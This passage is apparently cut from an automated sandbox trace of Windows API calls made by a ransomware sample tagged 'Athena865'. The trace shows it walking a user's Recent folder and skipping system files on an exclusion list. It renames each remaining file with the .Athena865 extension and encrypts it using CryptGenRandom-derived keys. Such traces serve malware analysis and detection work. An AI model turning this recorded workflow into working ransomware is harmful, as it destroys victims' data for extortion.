halpmcxz\\recent\\jb7yztwiugm3q.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.623] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2616) returned 1 [0052.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.623] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.624] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.624] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.624] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x154 [0052.624] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0052.624] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.625] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.625] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.626] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.626] CloseHandle (hObject=0x154) returned 1 [0052.626] CloseHandle (hObject=0x17c) returned 1 [0052.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.627] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3d1ce0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0120bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0120bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x12eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JTU uIW.lnk", cAlternateFileName="JTUUIW~1.LNK")) returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2=".") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="..") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="windows") returned -1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="bootmgr") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="temp") returned -1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="pagefile.sys") returned -1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="boot") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="ids.txt") returned 1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="ntuser.dat") returned -1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="perflogs") returned -1 [0052.627] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2="MSBuild") returned -1 [0052.627] lstrlenW (lpString="JTU uIW.lnk") returned 11 [0052.627] lstrcpyW (in: lpString1=0x241e8b4, lpString2="JTU uIW.lnk" | out: lpString1="JTU uIW.lnk") returned="JTU uIW.lnk" [0052.627] lstrlenW (lpString="JTU uIW.lnk") returned 11 [0052.628] lstrlenW (lpString="Athena865") returned 9 [0052.628] lstrcmpiW (lpString1="U uIW.lnk", lpString2="Athena865") returned 1 [0052.628] lstrlenW (lpString=".dll") returned 4 [0052.628] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2=".dll") returned 1 [0052.628] lstrlenW (lpString=".lnk") returned 4 [0052.628] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2=".lnk") returned 1 [0052.628] lstrlenW (lpString=".ini") returned 4 [0052.628] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2=".ini") returned 1 [0052.628] lstrlenW (lpString=".sys") returned 4 [0052.628] lstrcmpiW (lpString1="JTU uIW.lnk", lpString2=".sys") returned 1 [0052.628] lstrlenW (lpString="JTU uIW.lnk") returned 11 [0052.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JTU uIW.lnk.Athena865") returned 75 [0052.628] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JTU uIW.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jtu uiw.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JTU uIW.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jtu uiw.lnk.athena865"), dwFlags=0x1) returned 1 [0052.629] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JTU uIW.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jtu uiw.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.629] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4843) returned 1 [0052.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.630] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.630] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.630] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f0, lpName=0x0) returned 0x154 [0052.630] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f0) returned 0x100000 [0052.631] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.631] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.631] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.632] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.632] CloseHandle (hObject=0x154) returned 1 [0052.632] CloseHandle (hObject=0x17c) returned 1 [0052.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.633] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf370d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf370d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf370d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JWjQ.lnk", cAlternateFileName="")) returned 1 [0052.633] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.633] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2=".") returned 1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="..") returned 1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="windows") returned -1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="bootmgr") returned 1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="temp") returned -1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="pagefile.sys") returned -1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="boot") returned 1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="ids.txt") returned 1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="ntuser.dat") returned -1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="perflogs") returned -1 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2="MSBuild") returned -1 [0052.634] lstrlenW (lpString="JWjQ.lnk") returned 8 [0052.634] lstrcpyW (in: lpString1=0x241e8b4, lpString2="JWjQ.lnk" | out: lpString1="JWjQ.lnk") returned="JWjQ.lnk" [0052.634] lstrlenW (lpString="JWjQ.lnk") returned 8 [0052.634] lstrlenW (lpString="Athena865") returned 9 [0052.634] lstrlenW (lpString=".dll") returned 4 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2=".dll") returned 1 [0052.634] lstrlenW (lpString=".lnk") returned 4 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2=".lnk") returned 1 [0052.634] lstrlenW (lpString=".ini") returned 4 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2=".ini") returned 1 [0052.634] lstrlenW (lpString=".sys") returned 4 [0052.634] lstrcmpiW (lpString1="JWjQ.lnk", lpString2=".sys") returned 1 [0052.634] lstrlenW (lpString="JWjQ.lnk") returned 8 [0052.634] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JWjQ.lnk.Athena865") returned 72 [0052.634] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JWjQ.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jwjq.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JWjQ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jwjq.lnk.athena865"), dwFlags=0x1) returned 1 [0052.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JWjQ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jwjq.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.635] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2517) returned 1 [0052.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.636] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.639] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.639] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.640] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x154 [0052.640] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0052.640] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.641] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.641] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.642] CloseHandle (hObject=0x154) returned 1 [0052.642] CloseHandle (hObject=0x17c) returned 1 [0052.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.642] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23326a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb23326a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb23326a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x147b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JyMJl.mkv.lnk", cAlternateFileName="JYMJLM~1.LNK")) returned 1 [0052.642] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.642] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2=".") returned 1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="..") returned 1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="windows") returned -1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="bootmgr") returned 1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="temp") returned -1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="pagefile.sys") returned -1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="boot") returned 1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="ids.txt") returned 1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="ntuser.dat") returned -1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="perflogs") returned -1 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2="MSBuild") returned -1 [0052.643] lstrlenW (lpString="JyMJl.mkv.lnk") returned 13 [0052.643] lstrcpyW (in: lpString1=0x241e8b4, lpString2="JyMJl.mkv.lnk" | out: lpString1="JyMJl.mkv.lnk") returned="JyMJl.mkv.lnk" [0052.643] lstrlenW (lpString="JyMJl.mkv.lnk") returned 13 [0052.643] lstrlenW (lpString="Athena865") returned 9 [0052.643] lstrcmpiW (lpString1="l.mkv.lnk", lpString2="Athena865") returned 1 [0052.643] lstrlenW (lpString=".dll") returned 4 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2=".dll") returned 1 [0052.643] lstrlenW (lpString=".lnk") returned 4 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2=".lnk") returned 1 [0052.643] lstrlenW (lpString=".ini") returned 4 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2=".ini") returned 1 [0052.643] lstrlenW (lpString=".sys") returned 4 [0052.643] lstrcmpiW (lpString1="JyMJl.mkv.lnk", lpString2=".sys") returned 1 [0052.643] lstrlenW (lpString="JyMJl.mkv.lnk") returned 13 [0052.643] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JyMJl.mkv.lnk.Athena865") returned 77 [0052.643] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JyMJl.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jymjl.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JyMJl.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jymjl.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.644] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\JyMJl.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\jymjl.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.645] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5243) returned 1 [0052.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.645] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.646] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.646] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.646] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1780, lpName=0x0) returned 0x154 [0052.646] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1780) returned 0x100000 [0052.646] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.647] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.647] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.648] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.648] CloseHandle (hObject=0x154) returned 1 [0052.648] CloseHandle (hObject=0x17c) returned 1 [0052.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.649] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f7a440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1f7a440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1f7a440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KzPa.lnk", cAlternateFileName="")) returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2=".") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="..") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="windows") returned -1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="bootmgr") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="temp") returned -1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="pagefile.sys") returned -1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="boot") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="ids.txt") returned 1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="ntuser.dat") returned -1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="perflogs") returned -1 [0052.649] lstrcmpiW (lpString1="KzPa.lnk", lpString2="MSBuild") returned -1 [0052.649] lstrlenW (lpString="KzPa.lnk") returned 8 [0052.649] lstrcpyW (in: lpString1=0x241e8b4, lpString2="KzPa.lnk" | out: lpString1="KzPa.lnk") returned="KzPa.lnk" [0052.649] lstrlenW (lpString="KzPa.lnk") returned 8 [0052.650] lstrlenW (lpString="Athena865") returned 9 [0052.650] lstrlenW (lpString=".dll") returned 4 [0052.650] lstrcmpiW (lpString1="KzPa.lnk", lpString2=".dll") returned 1 [0052.650] lstrlenW (lpString=".lnk") returned 4 [0052.650] lstrcmpiW (lpString1="KzPa.lnk", lpString2=".lnk") returned 1 [0052.650] lstrlenW (lpString=".ini") returned 4 [0052.650] lstrcmpiW (lpString1="KzPa.lnk", lpString2=".ini") returned 1 [0052.650] lstrlenW (lpString=".sys") returned 4 [0052.650] lstrcmpiW (lpString1="KzPa.lnk", lpString2=".sys") returned 1 [0052.650] lstrlenW (lpString="KzPa.lnk") returned 8 [0052.650] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\KzPa.lnk.Athena865") returned 72 [0052.650] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\KzPa.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\kzpa.lnk"), lpNewFileName="C:\\Documents and 